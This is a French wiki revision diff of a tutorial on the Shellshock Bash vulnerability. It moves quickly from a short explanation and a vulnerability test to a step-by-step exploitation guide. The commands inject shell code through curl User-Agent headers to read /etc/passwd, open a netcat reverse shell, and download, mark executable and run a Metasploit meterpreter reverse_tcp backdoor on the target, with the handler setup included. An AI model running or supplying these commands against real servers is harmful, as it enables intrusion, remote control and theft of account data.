Outils pour utilisateurs

Outils du site


appsysteme:bash_-_shellshock

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentes Révision précédente
Prochaine révision
Révision précédente
appsysteme:bash_-_shellshock [2016/01/30 21:39]
arkinar
appsysteme:bash_-_shellshock [2016/07/04 08:38] (Version actuelle)
Ligne 11: Ligne 11:
 La vulnérabilité touche l’interpréteur en ligne de commande Bash qui est utilisé comme Shell par défaut par les systèmes d’exploitation Linux et Unix. Soit un gros paquet de monde. La vulnérabilité touche l’interpréteur en ligne de commande Bash qui est utilisé comme Shell par défaut par les systèmes d’exploitation Linux et Unix. Soit un gros paquet de monde.
  
-Elle est aussi appelé ​Bashdoor et a été découverte en septembre 2014.+Elle est aussi appelée ​Bashdoor et a été découverte en septembre 2014.
  
 __Explication__ __Explication__
Ligne 17: Ligne 17:
 Bash permet de faire passer des fonctions vers le processus enfant. Les droits et contextes d'​exécution sont identiques à l'​utilisateur,​ système ou non. Bash permet de faire passer des fonctions vers le processus enfant. Les droits et contextes d'​exécution sont identiques à l'​utilisateur,​ système ou non.
  
-Le problème ​est que :+Le problème ​réside dans le fait que :
  
-De nombreux programmes utilisent le shell par défaut pour passer des variables d'​environnement entre leurs processus. Le contexte change  : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants.+De nombreux programmes utilisent le Shell par défaut pour passer des variables d'​environnement entre leurs processus. Le contexte change  : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants.
  
 Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille. Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille.
Ligne 25: Ligne 25:
 Voici un petite ligne de code pour voir si vous êtes vulnérable : Voici un petite ligne de code pour voir si vous êtes vulnérable :
  
-env x='() { :;}; echo vulnérable'​ bash -c "echo ceci est un test"+<​code>​env x='() { :;}; echo vulnérable'​ bash -c "echo ceci est un test"</​code>​
  
 Si elle vous renvoi : "​Vulnérable"​ Si elle vous renvoi : "​Vulnérable"​
Ligne 35: Ligne 35:
 **Exploitation** **Exploitation**
  
-Le principe est d'​envoyer des commandes à distance dans les entêtes HTTP pour qu'​elle soit interpréter ​par le serveur.+Le principe est d'​envoyer des commandes à distance dans les entêtes HTTP pour qu'​elle soit interprétées ​par le serveur.
  
 Commençons simplement : Commençons simplement :
  
-curl -H User-Agent: () { :; }; /bin/eject; http://​mon_serveur_faillible.com+<​code>​curl -H User-Agent: () { :; }; /bin/eject; http://​mon_serveur_faillible.com ​</​code>​
  
-curl est une commande ​linux permettant de forger des requêtes HTTP. +curl est une commande ​Linux permettant de forger des requêtes HTTP. 
  
 L'​option -H permet de personnaliser l'​entête HTTP avant qu'​elle soit envoyées au serveur. L'​option -H permet de personnaliser l'​entête HTTP avant qu'​elle soit envoyées au serveur.
Ligne 49: Ligne 49:
 Nous avons donc une variable comme cela sur le serveur : HTTP_USER_AGENT=() { :; }; /bin/eject Nous avons donc une variable comme cela sur le serveur : HTTP_USER_AGENT=() { :; }; /bin/eject
  
-curl -A ;() { :;}; echo ;​Content-type:​ text/plain;; echo;  /bin/ cat /​etc/​passwd;​  +<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ cat /​etc/​passwd;​  
-http://​mon_serveur_faillible.com/​cgi-bin/​status+http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
-Cette commande ​quand à elle aura pour effet d'​afficher le contenu de /etc/passwd de la machine distante. ​+Cette commande ​quant à elle aura pour effet d'​afficher le contenu de /etc/passwd de la machine distante. ​
  
-L'​option -A nous permet d’accéder au contenu de l'​user-agent qui sera contenu ​dans la requête HTTP.+L'​option -A nous permet d’accéder au contenu de l'​user-agent qui sera visible ​dans la requête HTTP.
  
-curl -A ;() { :;}; echo ;​Content-type:​ text/plain;; echo; /usr/bin/id ; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo; /usr/bin/id ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
 Cette commande nous donne l'​identifiant du compte sur lequel on exécute les commandes. Cette commande nous donne l'​identifiant du compte sur lequel on exécute les commandes.
Ligne 66: Ligne 66:
 Netcat est un utilitaire permettant d'​ouvrir des connexions réseau, que ce soit UDP ou TCP.Dans un terminal tapez : Netcat est un utilitaire permettant d'​ouvrir des connexions réseau, que ce soit UDP ou TCP.Dans un terminal tapez :
  
- nc -l 333+ <​code>​nc -l 333 </​code>​
  
-L'​option -l permet d'​écouter sur le port 333 (c'est bien un L et non I majuscule)+L'​option -l permet d'​écouter sur le port 333 (c'est bien un L, comme listen ​et non I majuscule)
  
 Dans un autre terminal : Dans un autre terminal :
  
-curl -A ;() { :;}; /bin/nc -e /bin/sh http://​mon_serveur/​ 333; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A ;() { :;}; /bin/nc -e /bin/sh http://​mon_serveur/​ 333; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
 Ouvre un session Netcat sur le port 333 et ouvre un shell une fois la session démarrée grâce à l'​option -e Ouvre un session Netcat sur le port 333 et ouvre un shell une fois la session démarrée grâce à l'​option -e
Ligne 84: Ligne 84:
 Pour cette solution nous aurons besoin du framework Metasploit et de Apache. Pour cette solution nous aurons besoin du framework Metasploit et de Apache.
  
-Metasploit est framework permettant de simplifier les tests de pénétration suite aux vulnérabilités découverte. Il y a de très bon bouquin ​dessus pour ceux que sa intéresse.+Metasploit est framework permettant de simplifier les tests de pénétration suite aux vulnérabilités découverte. Il y a de très bon livre dessus pour ceux que ça intéresse.
  
-On va d'​abord commencer par trouver un endroit où l'on peut écrire sur le serveur+On va d'​abord commencer par trouver un endroit où l'on peut écrire sur le serveur.
  
-curl -A ;() { :;}; echo ;​Content-type:​ text/plain;; echo;  /bin/ ls -al /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ ls -al /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
 Généralement dans le dossier personnel de l'​utilisateur avec lequel on exécute les commandes. Généralement dans le dossier personnel de l'​utilisateur avec lequel on exécute les commandes.
Ligne 94: Ligne 94:
 Maintenant nous allons utiliser msfpayload qui est un des outils de la suite Metasploit. Maintenant nous allons utiliser msfpayload qui est un des outils de la suite Metasploit.
  
-Il permet de générer des payloads(exécutable qui va nous permettre dans notre cas d'​établir la connexion inverse)+Il permet de générer des payloads (exécutable qui va nous permettre dans notre cas d'​établir la connexion inverse).
  
 Pour le générer : Pour le générer :
  
-msfpayload linux/​x86/​meterpreter/​reverse_tcp LHOST=192.168.1.1 LPORT=4443 ​+<​code>​msfpayload linux/​x86/​meterpreter/​reverse_tcp LHOST=192.168.1.1 LPORT=4443</​code> ​
  
 Nous lui spécifions que nous voulons une connexion inverse en TCP sur un serveur Linux 32 Bits. Nous lui spécifions que nous voulons une connexion inverse en TCP sur un serveur Linux 32 Bits.
Ligne 110: Ligne 110:
 Démarrer votre service apache : Démarrer votre service apache :
  
-/​etc/​init.d/​apache2 start+<​code>​/​etc/​init.d/​apache2 start</​code>​
  
 Copier le fichier lbdoor dans /var/www/ Copier le fichier lbdoor dans /var/www/
  
-Nous allons le télécharger sur le serveur ​de la vulnérable :+Nous allons le télécharger sur le serveur vulnérable :
  
-curl -A;() { :;}; echo ;​Content-type:​ text/plain;; echo;  /bin/ wget http://​mon_serveur/​lbdoor -P /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ wget http://​mon_serveur/​lbdoor -P /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status ​</​code>​
  
-On lui ajoute les droits d’exécution ​:+On lui ajoute les droits d’exécutions ​:
  
-curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/chmod +x /​home/​notre_user/​lbdoor ; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/chmod +x /​home/​notre_user/​lbdoor ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
 {{ :​appsysteme:​metasploit_shellshock.png?​nolink |}} {{ :​appsysteme:​metasploit_shellshock.png?​nolink |}}
Ligne 126: Ligne 126:
 On ouvre Metasploit : On ouvre Metasploit :
  
-msfconsole+<​code>​msfconsole</​code>​
  
-On sélectionne le module qui nous permettra d’écouter les connexions ​entrante ​:+On sélectionne le module qui nous permettra d’écouter les connexions ​entrantes ​:
  
-use exploit/​multi/​handler+<​code>​use exploit/​multi/​handler</​code>​
  
-On lui stipule ​qu'​elle ​type de connexion il doit attendre :+On lui stipule ​quel type de connexion il doit attendre :
  
-set PAYLOAD linux/​x86/​meterpreter/​reverse_tcp+<​code>​set PAYLOAD linux/​x86/​meterpreter/​reverse_tcp</​code>​
  
-On lui stipule sur qu'​elle ​host il doit attendre ​la connexion :+On lui stipule sur quel host il attend ​la connexion :
  
-set LHOST 192.168.1.1+<​code>​set LHOST 192.168.1.1</​code>​
  
-On lui stipule sur qu'​elle ​port il doit attendre la connexion :+On lui stipule sur quel port il doit attendre la connexion :
  
-set LPORT 4443+<​code>​set LPORT 4443</​code>​
  
 Et on exécute : Et on exécute :
  
-run+<​code>​run</​code>​
  
 Attention il faut bien donner les mêmes informations que lorsque le payload a été généré. Attention il faut bien donner les mêmes informations que lorsque le payload a été généré.
Ligne 157: Ligne 157:
 Retournons sur notre premier terminal , nous allons exécuter notre payload sur le serveur vulnérable:​ Retournons sur notre premier terminal , nous allons exécuter notre payload sur le serveur vulnérable:​
  
-curl -A ;() { :;}; echo ;​Content-type:​ text/plain;; echo;  /bin/bash -c ;/​home/​notre_user/​lbdoor;​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/bash -c ;/​home/​notre_user/​lbdoor;​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
-Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé.+Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout s'est bien passé.
  
 {{ :​appsysteme:​connexion_metasploit-2.png?​nolink |}} {{ :​appsysteme:​connexion_metasploit-2.png?​nolink |}}
Ligne 166: Ligne 166:
 Vous avez désormais accès à une session meterpreter sur la machine distante. Vous avez désormais accès à une session meterpreter sur la machine distante.
  
-Si vous souhaitez obtenir un terminal , il vous suffis ​de taper "​shell"​+Si vous souhaitez obtenir un terminal , il suffit ​de taper "​shell"​
  
 {{ :​appsysteme:​meterpreter.jpg?​nolink |}} {{ :​appsysteme:​meterpreter.jpg?​nolink |}}
  
-L'​outil meterpreter est puissant ​il embarque toute une multitude de code pour le post exploitation.+L'​outil meterpreter est puissant ​et embarque toute une multitude de code pour le post exploitation.
  
 Pour plus d'info un site que je recommande [[http://​sitedugaci.com/​30/​4/​tutoriel/​chapitre/​meterpreter.html]] Pour plus d'info un site que je recommande [[http://​sitedugaci.com/​30/​4/​tutoriel/​chapitre/​meterpreter.html]]
  
 Source :[[ https://​www.youtube.com/​watch?​v=R3rs8hdXqso]] Source :[[ https://​www.youtube.com/​watch?​v=R3rs8hdXqso]]
appsysteme/bash_-_shellshock.1454189951.txt.gz · Dernière modification: 2016/07/04 08:37 (modification externe)